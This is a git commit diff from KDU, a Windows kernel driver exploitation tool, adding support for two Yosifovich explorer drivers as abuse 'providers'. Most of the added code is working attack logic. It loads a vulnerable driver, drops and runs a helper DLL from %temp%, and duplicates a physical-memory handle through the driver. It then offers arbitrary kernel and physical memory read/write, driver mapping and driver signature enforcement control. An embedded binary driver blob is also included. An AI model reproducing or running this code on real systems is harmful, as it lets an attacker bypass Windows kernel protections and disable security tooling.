*Source\Utils\GenAsIo2Unlock\GenAsIo2Unlock.sln c4a28bc43a63a40ff2d8699fa261ee1ced6783d199043484ea7921e8d078ea08 *Source\Utils\GenAsIo2Unlock\GenAsIo2Unlock.vcxproj diff --git a/README.md b/README.md index 9057308..33d0d9c 100644 --- a/README.md +++ b/README.md @@ -141,6 +141,8 @@ You use it at your own risk. Some lazy AV may flag this tool as hacktool/malware | 34 | MSI | winio | MSI Foundation Service | WINIO | Undefined | | | 35 | HP | EtdSupport | ETDi Support Driver | Original | 18.0 and below | | | 36 | Pavel Yosifovich | KExplore | Kernel Explorer | Original | Undefined | | +| 37 | Pavel Yosifovich | KObjExp | Kernel Object Explorer | Original | Undefined | | +| 38 | Pavel Yosifovich | KRegExp | Kernel Registry Explorer | Original | Undefined | | ###### *At commit time, data maybe inaccurate. diff --git a/Source/Hamakaze/global.h b/Source/Hamakaze/global.h index 0686d80..9af0c81 100644 --- a/Source/Hamakaze/global.h +++ b/Source/Hamakaze/global.h @@ -77,6 +77,7 @@ extern "C" { #include "shared/consts.h" #include "shared/kdubase.h" #include "sig.h" +#include "ipcsvc.h" #include "sup.h" #include "sym.h" #include "compress.h" @@ -87,7 +88,6 @@ extern "C" { #include "ps.h" #include "pagewalk.h" #include "dsefix.h" -#include "ipcsvc.h" #include "diag.h" #include "tests.h" diff --git a/Source/Hamakaze/idrv/dbk.cpp b/Source/Hamakaze/idrv/dbk.cpp index 62ebd6a..497f5e9 100644 --- a/Source/Hamakaze/idrv/dbk.cpp +++ b/Source/Hamakaze/idrv/dbk.cpp @@ -4,9 +4,9 @@ * * TITLE: DBK.CPP * -* VERSION: 1.31 +* VERSION: 1.32 * -* DATE: 09 Apr 2023 +* DATE: 10 Jun 2023 * * Cheat Engine's DBK driver routines. * @@ -21,8 +21,6 @@ #include "idrv/dbk.h" #include "idrv/ldrsc.h" -#define DBK_GET_HANDLE 0x1337 - #define DBK_LDR_DLL L"u.dll" #define DBK_KMU_EXE L"kernelmoduleunloader.exe" #define DBK_KMU_SIG L"kernelmoduleunloader.exe.sig" @@ -67,83 +65,6 @@ NTSTATUS CALLBACK DbkSetupCheatEngineObjectNames( return ntStatus; } -/* -* DbkpIpcOnException -* -* Purpose: -* -* ALPC receive exception callback. -* -*/ -VOID CALLBACK DbkpIpcOnException( - _In_ ULONG ExceptionCode, - _In_opt_ PVOID UserContext -) -{ - UNREFERENCED_PARAMETER(UserContext); - - supPrintfEvent(kduEventError, - "[!] Exception 0x%lx thrown during IPC callback\r\n", ExceptionCode); -} - -/* -* DbkpIpcCallback -* -* Purpose: -* -* ALPC receive message callback. -* -*/ -VOID CALLBACK DbkpIpcCallback( - _In_ PCLIENT_ID ClientId, - _In_ PKDU_MSG Message, - _In_opt_ PVOID UserContext -) -{ - KDU_CONTEXT* Context = (PKDU_CONTEXT)UserContext; - - if (Context == NULL) - return; - - __try { - - if (Message->Function == DBK_GET_HANDLE && - Message->Status == STATUS_SECRET_TOO_LONG && - Message->ReturnedLength == sizeof(ULONG)) - { - HANDLE hProcess = NULL, hNewHandle = NULL; - OBJECT_ATTRIBUTES obja; - - InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL); - - if (NT_SUCCESS(NtOpenProcess(&hProcess, - PROCESS_DUP_HANDLE | PROCESS_TERMINATE, - &obja, - ClientId))) - { - if (NT_SUCCESS(NtDuplicateObject( - hProcess, - (HANDLE)Message->Data, - NtCurrentProcess(), - &hNewHandle, - 0, - 0, - DUPLICATE_SAME_ACCESS))) - { - Context->DeviceHandle = hNewHandle; - } - - NtTerminateProcess(hProcess, STATUS_TOO_MANY_SECRETS); - NtClose(hProcess); - } - - } - } - __except (EXCEPTION_EXECUTE_HANDLER) { - return; - } -} - /* * DbkOpenCheatEngineDriver * @@ -218,8 +139,8 @@ BOOL DbkOpenCheatEngineDriver( sizeof(g_KduLoaderShellcode), &memIO)) { - ipcServer = IpcStartApiServer(DbkpIpcCallback, - DbkpIpcOnException, + ipcServer = IpcStartApiServer(supIpcDuplicateHandleCallback, + supIpcOnException, NULL, NULL, (PVOID)Context); diff --git a/Source/Hamakaze/idrv/procexp.cpp b/Source/Hamakaze/idrv/procexp.cpp index ebee86a..a3ab4b1 100644 --- a/Source/Hamakaze/idrv/procexp.cpp +++ b/Source/Hamakaze/idrv/procexp.cpp @@ -4,9 +4,9 @@ * * TITLE: PROCEXP.CPP * -* VERSION: 1.30 +* VERSION: 1.32 * -* DATE: 20 Mar 2023 +* DATE: 10 Jun 2023 * * Process Explorer driver routines. * @@ -36,40 +36,10 @@ static KDU_VICTIM_PROVIDER g_ProcExpVictimSelf{ sizeof(g_ProcExpSig) // Victim dispatch bytes size }; -/* -* PexpMapMemory -* -* Purpose: -* -* Map physical memory. -* -*/ -PVOID PexpMapMemory( - _In_ ULONG_PTR PhysicalAddress, - _In_ ULONG NumberOfBytes, - _In_ BOOL MapForWrite -) -{ - return supMapPhysicalMemory(g_PexPhysicalMemorySection, - PhysicalAddress, - NumberOfBytes, - MapForWrite); -} +#define PexpMapMemory(PhysicalAddress, NumberOfBytes, MapForWrite) \ + supMapPhysicalMemory(g_PexPhysicalMemorySection, PhysicalAddress, NumberOfBytes, MapForWrite) -/* -* PexpUnmapMemory -* -* Purpose: -* -* Unmap physical memory. -* -*/ -VOID PexpUnmapMemory( - _In_ PVOID BaseAddress -) -{ - supUnmapPhysicalMemory(BaseAddress); -} +#define PexpUnmapMemory(BaseAddress) supUnmapPhysicalMemory(BaseAddress) /* * PexpReadWritePhysicalMemory diff --git a/Source/Hamakaze/idrv/zodiacon.cpp b/Source/Hamakaze/idrv/zodiacon.cpp index 239763e..2d876ab 100644 --- a/Source/Hamakaze/idrv/zodiacon.cpp +++ b/Source/Hamakaze/idrv/zodiacon.cpp @@ -6,7 +6,7 @@ * * VERSION: 1.32 * -* DATE: 20 May 2022 +* DATE: 10 Jun 2022 * * Zodiacon driver routines. * @@ -20,6 +20,8 @@ #include "global.h" #include "idrv/zodiacon.h" +HANDLE g_ZdcPhysicalMemorySection = NULL; + /* * KObExpReadVirtualMemory * @@ -61,4 +63,528 @@ BOOL WINAPI KObExpWriteVirtualMemory( sizeof(VirtualAddress), Buffer, NumberOfBytes); -} \ No newline at end of file +} + +#define ZdcMapMemory(PhysicalAddress, NumberOfBytes, MapForWrite) \ + supMapPhysicalMemory(g_ZdcPhysicalMemorySection, PhysicalAddress, NumberOfBytes, MapForWrite) + +#define ZdcUnmapMemory(BaseAddress) supUnmapPhysicalMemory(BaseAddress) + +#define ZdcReadWritePhysicalMemory(PhysicalAddress, Buffer, NumberOfBytes, DoWrite) \ + supReadWritePhysicalMemory(g_ZdcPhysicalMemorySection, PhysicalAddress, Buffer, NumberOfBytes, DoWrite) + +/* +* ZdcReadPhysicalMemory +* +* Purpose: +* +* Read from physical memory. +* +*/ +BOOL WINAPI ZdcReadPhysicalMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_ PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + UNREFERENCED_PARAMETER(DeviceHandle); + + return ZdcReadWritePhysicalMemory(PhysicalAddress, + Buffer, + NumberOfBytes, + FALSE); +} + +/* +* ZdcWritePhysicalMemory +* +* Purpose: +* +* Write to physical memory. +* +*/ +BOOL WINAPI ZdcWritePhysicalMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_reads_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + UNREFERENCED_PARAMETER(DeviceHandle); + + return ZdcReadWritePhysicalMemory(PhysicalAddress, + Buffer, + NumberOfBytes, + TRUE); +} + +/* +* ZdcQueryPML4Value +* +* Purpose: +* +* Locate PML4. +* +*/ +BOOL WINAPI ZdcQueryPML4Value( + _In_ HANDLE DeviceHandle, + _Out_ ULONG_PTR* Value) +{ + ULONG_PTR pbLowStub1M = 0ULL, PML4 = 0; + ULONG cbRead = 0x100000; + + UNREFERENCED_PARAMETER(DeviceHandle); + + *Value = 0; + + SetLastError(ERROR_SUCCESS); + + pbLowStub1M = (ULONG_PTR)ZdcMapMemory(0ULL, + cbRead, + FALSE); + + if (pbLowStub1M) { + + PML4 = supGetPML4FromLowStub1M(pbLowStub1M); + if (PML4) + *Value = PML4; + + ZdcUnmapMemory((PVOID)pbLowStub1M); + + } + + return (PML4 != 0); +} + +/* +* ZdcVirtualToPhysical +* +* Purpose: +* +* Translate virtual address to the physical. +* +*/ +BOOL WINAPI ZdcVirtualToPhysical( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_ ULONG_PTR* PhysicalAddress) +{ + return PwVirtualToPhysical(DeviceHandle, + ZdcQueryPML4Value, + ZdcReadPhysicalMemory, + VirtualAddress, + PhysicalAddress); +} + +/* +* ZdcReadKernelVirtualMemory +* +* Purpose: +* +* Read virtual memory. +* +*/ +BOOL WINAPI ZdcReadKernelVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR Address, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + BOOL bResult; + ULONG_PTR physicalAddress = 0; + + UNREFERENCED_PARAMETER(DeviceHandle); + SetLastError(ERROR_SUCCESS); + + bResult = ZdcVirtualToPhysical(DeviceHandle, + Address, + &physicalAddress); + + if (bResult) { + + bResult = ZdcReadWritePhysicalMemory(physicalAddress, + Buffer, + NumberOfBytes, + FALSE); + + } + + return bResult; +} + +/* +* ZdcWriteKernelVirtualMemory +* +* Purpose: +* +* Write virtual memory. +* +*/ +BOOL WINAPI ZdcWriteKernelVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR Address, + _In_reads_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes) +{ + BOOL bResult; + ULONG_PTR physicalAddress = 0; + + UNREFERENCED_PARAMETER(DeviceHandle); + SetLastError(ERROR_SUCCESS); + + bResult = ZdcVirtualToPhysical(DeviceHandle, + Address, + &physicalAddress); + + if (bResult) { + + bResult = ZdcReadWritePhysicalMemory(physicalAddress, + Buffer, + NumberOfBytes, + TRUE); + + } + + return bResult; +} + +/* +* ZdcpOpenDriver +* +* Purpose: +* +* Open Zodiacon drivers with their locking features in mind. +* +*/ +BOOL WINAPI ZdcpOpenDriver( + _In_ PVOID Param +) +{ + BOOL bResult = FALSE; + PVOID ipcServer = NULL; + KDU_CONTEXT* Context = (PKDU_CONTEXT)Param; + DWORD cch; + ULONG resourceSize = 0; + WCHAR szTemp[MAX_PATH + 1], szFileName[MAX_PATH * 2]; + LPWSTR lpCommand; + LPWSTR lpTargetName; + + switch (Context->Provider->LoadData->ResourceId) { + + case IDR_KREGEXP: + lpTargetName = (LPWSTR)ZODIACON_REGEXP_EXE; + lpCommand = (LPWSTR)L"1"; + break; + + case IDR_KOBJEXP: + default: + lpCommand = (LPWSTR)L"0"; + lpTargetName = (LPWSTR)ZODIACON_SYSEXP_EXE; + break; + } + + RtlSecureZeroMemory(&szTemp, sizeof(szTemp)); + cch = supExpandEnvironmentStrings(L"%temp%", szTemp, MAX_PATH); + if (cch == 0 || cch > MAX_PATH) { + SetLastError(ERROR_NOT_ENOUGH_MEMORY); + return FALSE; + } + + PBYTE dllBuffer; + + dllBuffer = (PBYTE)KDULoadResource(IDR_TAIGEI64, + GetModuleHandle(NULL), + &resourceSize, + PROVIDER_RES_KEY, + TRUE); + + if (dllBuffer == NULL) { + + supPrintfEvent(kduEventError, + "[!] Failed to load helper dll\r\n"); + + return FALSE; + + } + + if (supReplaceDllEntryPoint(dllBuffer, + resourceSize, + (LPCSTR)"RegisterForProvider2", + TRUE)) + { + StringCchPrintf(szFileName, MAX_PATH * 2, + TEXT("%ws\\%ws"), + szTemp, + lpTargetName); + + NTSTATUS ntStatus; + + if (supWriteBufferToFile(szFileName, + dllBuffer, + resourceSize, + TRUE, + FALSE, + &ntStatus)) + { + + STARTUPINFO si; + PROCESS_INFORMATION pi; + + RtlSecureZeroMemory(&si, sizeof(si)); + RtlSecureZeroMemory(&pi, sizeof(pi)); + + si.cb = sizeof(si); + GetStartupInfo(&si); + + if (CreateProcess(szFileName, + lpCommand, + NULL, + NULL, + TRUE, + CREATE_SUSPENDED, + NULL, + szTemp, + &si, + &pi)) + { + + ipcServer = IpcStartApiServer(supIpcDuplicateHandleCallback, + supIpcOnException, + NULL, + NULL, + (PVOID)Context); + + ResumeThread(pi.hThread); + } + + if (ipcServer) { + WaitForSingleObject(pi.hProcess, INFINITE); + } + + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + bResult = (Context->DeviceHandle != NULL); + + } + else { + supShowHardError("[!] Failed to write help dll on disk", ntStatus); + } + + } + else { + supPrintfEvent(kduEventError, "[!] Error while configuring helper dll\r\n"); + } + + supHeapFree(dllBuffer); + + return bResult; +} + +/* +* ZdcDuplicateHandle2 +* +* Purpose: +* +* Duplicate handle via Zodiacon driver request. +* +*/ +BOOL ZdcDuplicateHandle2( + _In_ HANDLE DeviceHandle, + _In_ HANDLE SourceProcessId, + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _Out_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options +) +{ + KZODIACON_DUP_DATA_V2 request; + + UNREFERENCED_PARAMETER(SourceProcessHandle); + UNREFERENCED_PARAMETER(HandleAttributes); + UNREFERENCED_PARAMETER(Options); + + RtlSecureZeroMemory(&request, sizeof(request)); + request.SourcePid = HandleToUlong(SourceProcessId); + request.Handle = SourceHandle; + request.AccessMask = DesiredAccess; + request.Flags = DUPLICATE_SAME_ACCESS; + + *TargetHandle = NULL; + + return supCallDriver(DeviceHandle, + IOCTL_KANYEXP_DUPLICATE_OBJECT, + &request, + sizeof(request), + TargetHandle, + sizeof(PVOID)); +} + +/* +* ZdcDuplicateHandle +* +* Purpose: +* +* Duplicate handle via Zodiacon driver request. +* +*/ +BOOL ZdcDuplicateHandle( + _In_ HANDLE DeviceHandle, + _In_ HANDLE SourceProcessId, + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _Out_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options +) +{ + KZODIACON_DUP_DATA request; + + UNREFERENCED_PARAMETER(SourceProcessHandle); + UNREFERENCED_PARAMETER(HandleAttributes); + UNREFERENCED_PARAMETER(Options); + + RtlSecureZeroMemory(&request, sizeof(request)); + request.SourcePid = HandleToUlong(SourceProcessId); + request.Handle = HandleToUlong(SourceHandle); + request.AccessMask = DesiredAccess; + request.Flags = DUPLICATE_SAME_ACCESS; + + *TargetHandle = NULL; + + return supCallDriver(DeviceHandle, + IOCTL_KANYEXP_DUPLICATE_OBJECT, + &request, + sizeof(request), + TargetHandle, + sizeof(PVOID)); +} + +/* +* ZdcRegisterDriver +* +* Purpose: +* +* Driver initialization routine. +* +*/ +BOOL WINAPI ZdcRegisterDriver( + _In_ HANDLE DeviceHandle, + _In_opt_ PVOID Param) +{ + ULONG DriverId = PtrToUlong(Param); + pfnDuplicateHandleCallback callback; + + // + // Workaround for Yosifovich bugs. + // + + switch (DriverId) { + case IDR_KREGEXP: + callback = ZdcDuplicateHandle2; + break; + default: + callback = ZdcDuplicateHandle; + break; + } + + return supOpenPhysicalMemory2(DeviceHandle, + callback, + &g_ZdcPhysicalMemorySection); +} + +/* +* ZdcUnregisterDriver +* +* Purpose: +* +* Free driver related resources. +* +*/ +BOOL WINAPI ZdcUnregisterDriver( + _In_ HANDLE DeviceHandle) +{ + UNREFERENCED_PARAMETER(DeviceHandle); + + if (g_ZdcPhysicalMemorySection) { + NtClose(g_ZdcPhysicalMemorySection); + g_ZdcPhysicalMemorySection = NULL; + } + + return TRUE; +} + +/* +* ZdcStartVulnerableDriver +* +* Purpose: +* +* Load/open vulnerable driver callback. +* +*/ +BOOL ZdcStartVulnerableDriver( + _In_ KDU_CONTEXT* Context +) +{ + BOOL bLoaded = FALSE; + NTSTATUS ntStatus; + KDU_DB_ENTRY* provLoadData = Context->Provider->LoadData; + LPWSTR lpDeviceName = provLoadData->DeviceName; + LPWSTR lpDriverName = provLoadData->DriverName; + LPWSTR lpFullFileName = Context->DriverFileName; + + // + // Check if driver already loaded. + // + if (supIsObjectExists((LPWSTR)L"\\Device", lpDeviceName)) { + + supPrintfEvent(kduEventError, + "[!] Vulnerable driver is already loaded\r\n"); + + bLoaded = TRUE; + } + else { + + // + // Driver is not loaded, load it. + // + if (!KDUProvExtractVulnerableDriver(Context)) + return FALSE; + + ntStatus = supLoadDriverEx(lpDriverName, + lpFullFileName, + FALSE, + NULL, + NULL); + + if (NT_SUCCESS(ntStatus)) { + + supPrintfEvent(kduEventInformation, + "[+] Vulnerable driver \"%ws\" loaded\r\n", lpDriverName); + + bLoaded = TRUE; + } + else { + supShowHardError("[!] Unable to load vulnerable driver", ntStatus); + DeleteFile(lpFullFileName); + } + + } + + if (bLoaded) { + + printf_s("[+] Acquiring handle for driver device \"%ws\" -> please wait, this can take a few seconds\r\n", + provLoadData->DeviceName); + + if (ZdcpOpenDriver(Context)) { + + supPrintfEvent(kduEventInformation, + "[+] Successfully acquired handle for driver device \"%ws\"\r\n", + provLoadData->DeviceName); + + } + } + + return (Context->DeviceHandle != NULL); +} diff --git a/Source/Hamakaze/idrv/zodiacon.h b/Source/Hamakaze/idrv/zodiacon.h index 3f8c7eb..96f96dc 100644 --- a/Source/Hamakaze/idrv/zodiacon.h +++ b/Source/Hamakaze/idrv/zodiacon.h @@ -6,9 +6,9 @@ * * VERSION: 1.32 * -* DATE: 20 May 2023 +* DATE: 10 Jun 2023 * -* Zodiacon driver interface header. +* Zodiacon drivers interface header. * * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED @@ -19,12 +19,38 @@ #pragma once +#define ZODIACON_DEVICE (DWORD)0x8000 + +#define ZODIACON_DUP_HANDLE (DWORD)0x801 + +#define IOCTL_KANYEXP_DUPLICATE_OBJECT \ + CTL_CODE(ZODIACON_DEVICE, ZODIACON_DUP_HANDLE, METHOD_BUFFERED, FILE_ANY_ACCESS) + #define IOCTL_KOBEXP_READ_VMEM \ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x901, METHOD_OUT_DIRECT, FILE_READ_ACCESS) #define IOCTL_KOBEXP_WRITE_VMEM \ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x902, METHOD_IN_DIRECT, FILE_WRITE_ACCESS) +typedef struct _KZODIACON_DUP_DATA { + ULONG Handle; + ULONG SourcePid; + ULONG AccessMask; + ULONG Flags; +} KZODIACON_DUP_DATA, *PKZODIACON_DUP_DATA; + +// +// Yep, screwed up with previously compiled drivers. +// + +typedef struct _KZODIACON_DUP_DATA_V2 { + HANDLE Handle; + ULONG SourcePid; + ULONG AccessMask; + ULONG Flags; +} KZODIACON_DUP_DATA_V2, *PKZODIACON_DUP_DATA_V2; + + BOOL WINAPI KObExpReadVirtualMemory( _In_ HANDLE DeviceHandle, _In_ ULONG_PTR VirtualAddress, @@ -36,3 +62,46 @@ BOOL WINAPI KObExpWriteVirtualMemory( _In_ ULONG_PTR VirtualAddress, _In_reads_bytes_(NumberOfBytes) PVOID Buffer, _In_ ULONG NumberOfBytes); + +BOOL WINAPI ZdcWriteKernelVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR Address, + _In_reads_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +BOOL WINAPI ZdcReadKernelVirtualMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR Address, + _Out_writes_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +BOOL WINAPI ZdcVirtualToPhysical( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_ ULONG_PTR* PhysicalAddress); + +BOOL WINAPI ZdcQueryPML4Value( + _In_ HANDLE DeviceHandle, + _Out_ ULONG_PTR* Value); + +BOOL WINAPI ZdcWritePhysicalMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_reads_bytes_(NumberOfBytes) PVOID Buffer, + _In_ ULONG NumberOfBytes); + +BOOL WINAPI ZdcReadPhysicalMemory( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _In_ PVOID Buffer, + _In_ ULONG NumberOfBytes); + +BOOL WINAPI ZdcRegisterDriver( + _In_ HANDLE DeviceHandle, + _In_opt_ PVOID Param); + +BOOL WINAPI ZdcUnregisterDriver( + _In_ HANDLE DeviceHandle); + +BOOL ZdcStartVulnerableDriver( + _In_ KDU_CONTEXT* Context); diff --git a/Source/Hamakaze/kduplist.h b/Source/Hamakaze/kduplist.h index fb9dff9..b5af61e 100644 --- a/Source/Hamakaze/kduplist.h +++ b/Source/Hamakaze/kduplist.h @@ -6,7 +6,7 @@ * * VERSION: 1.32 * -* DATE: 20 May 2023 +* DATE: 10 Jun 2023 * * Providers global list. * @@ -970,6 +970,54 @@ static KDU_PROVIDER g_KDUProviders[] = (provReadPhysicalMemory)NULL, (provWritePhysicalMemory)NULL, + (provValidatePrerequisites)NULL + }, + + { + NULL, + + (provStartVulnerableDriver)ZdcStartVulnerableDriver, + (provStopVulnerableDriver)KDUProvStopVulnerableDriver, + + (provRegisterDriver)ZdcRegisterDriver, + (provUnregisterDriver)ZdcUnregisterDriver, + (provPreOpenDriver)NULL, + (provPostOpenDriver)NULL, + (provMapDriver)KDUMapDriver, + (provControlDSE)KDUControlDSE, + + (provReadKernelVM)ZdcReadKernelVirtualMemory, + (provWriteKernelVM)ZdcWriteKernelVirtualMemory, + + (provVirtualToPhysical)ZdcVirtualToPhysical, + (provQueryPML4)ZdcQueryPML4Value, + (provReadPhysicalMemory)ZdcReadPhysicalMemory, + (provWritePhysicalMemory)ZdcWritePhysicalMemory, + + (provValidatePrerequisites)NULL + }, + + { + NULL, + + (provStartVulnerableDriver)ZdcStartVulnerableDriver, + (provStopVulnerableDriver)KDUProvStopVulnerableDriver, + + (provRegisterDriver)ZdcRegisterDriver, + (provUnregisterDriver)ZdcUnregisterDriver, + (provPreOpenDriver)NULL, + (provPostOpenDriver)NULL, + (provMapDriver)KDUMapDriver, + (provControlDSE)KDUControlDSE, + + (provReadKernelVM)ZdcReadKernelVirtualMemory, + (provWriteKernelVM)ZdcWriteKernelVirtualMemory, + + (provVirtualToPhysical)ZdcVirtualToPhysical, + (provQueryPML4)ZdcQueryPML4Value, + (provReadPhysicalMemory)ZdcReadPhysicalMemory, + (provWritePhysicalMemory)ZdcWritePhysicalMemory, + (provValidatePrerequisites)NULL } }; diff --git a/Source/Hamakaze/res/SB_SMBUS_SDK.bin b/Source/Hamakaze/res/SB_SMBUS_SDK.bin index 50448bdb91a8d3d8140199236e138241b35402ab..8308b06c6cbd93db8896abcbcdaa301b98106392 100644 GIT binary patch literal 50244 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 